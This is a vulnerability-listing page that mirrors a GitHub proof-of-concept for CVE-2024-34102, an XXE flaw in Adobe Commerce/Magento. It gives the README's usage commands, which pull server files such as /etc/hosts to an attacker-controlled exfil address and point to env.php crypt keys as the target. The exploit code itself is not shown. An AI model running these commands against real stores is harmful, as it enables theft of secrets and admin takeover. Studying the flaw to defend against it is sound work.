CVE-2024-34102 PoC — XXE can expose crypt key and other secrets granting full admin access

Source

https://github.com/mksundaram69/CVE-2024-34102

Associated Vulnerability

Title:XXE can expose crypt key and other secrets granting full admin access (CVE-2024-34102)
Description:Adobe Commerce versions 2.4.7, 2.4.6-p5, 2.4.5-p7, 2.4.4-p8 and earlier are affected by an Improper Restriction of XML External Entity Reference ('XXE') vulnerability that could result in arbitrary code execution. An attacker could exploit this vulnerability by sending a crafted XML document that references external entities. Exploitation of this issue does not require user interaction.

Readme

<div align="center">

 #  🇮🇱  **#BringThemHome #NeverAgainIsNow**   🇮🇱

**We demand the safe return of all citizens who have been taken hostage by the terrorist group Hamas. We will not rest until every hostage is released and returns home safely. You can help bring them back home.
https://stories.bringthemhomenow.net/**

</div>

# CVE-2024-34102 PoC 🚀

This repository contains a proof-of-concept (PoC) exploit for the critical XML entity injection vulnerability (CVE-2024-34102) in Magento. This vulnerability allows for the exfiltration of sensitive files, which can then be leveraged to gain unauthorized access to Magento's administrative functionalities. This exploit is designed for educational purposes and should be used responsibly.

## Overview 📖

Magento is one of the most popular e-commerce solutions used globally. In June 2024, a critical pre-authentication XML entity injection issue was discovered, identified as CVE-2024-34102. This vulnerability can lead to severe consequences, including the exfiltration of the `app/etc/env.php` file from Magento, which contains cryptographic keys used for signing JWTs.

## Features 🌟

- Exfiltrate sensitive files from a vulnerable Magento instance.
- Simple and straightforward usage.
- Educational demonstration of XML entity injection.

## Usage 🚀

### Prerequisites

- Python 3.x
- `requests` library (`pip install requests`)

### Running the Exploit

1. Clone the repository:
    ```sh
    git clone https://github.com/yourusername/CVE-2024-34102-exploit.git
    cd CVE-2024-34102-exploit
    ```

2. Execute the script with the necessary arguments:
    ```sh
    python cve_2024_34102_exploit.py --target-url http://example.com --target-file /etc/hosts --exfil-url your_ip:9999
    ```

### Command-Line Arguments

- `--target-url`: The URL of the target Magento instance.
- `--target-file`: The file path on the target server to exfiltrate.
- `--exfil-url`: The URL to receive the exfiltrated data.

## Example 🌐

```sh
python cve_2024_34102_exploit.py --target-url http://example.com --target-file /etc/hosts --exfil-url your_ip:9999

File Snapshot


 [4.0K]  /data/pocs/2570e7eff1192e1e193b3f64cce622bd465b00ad
├── [2.1K]  PoC.py
└── [2.1K]  README.md

0 directories, 2 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!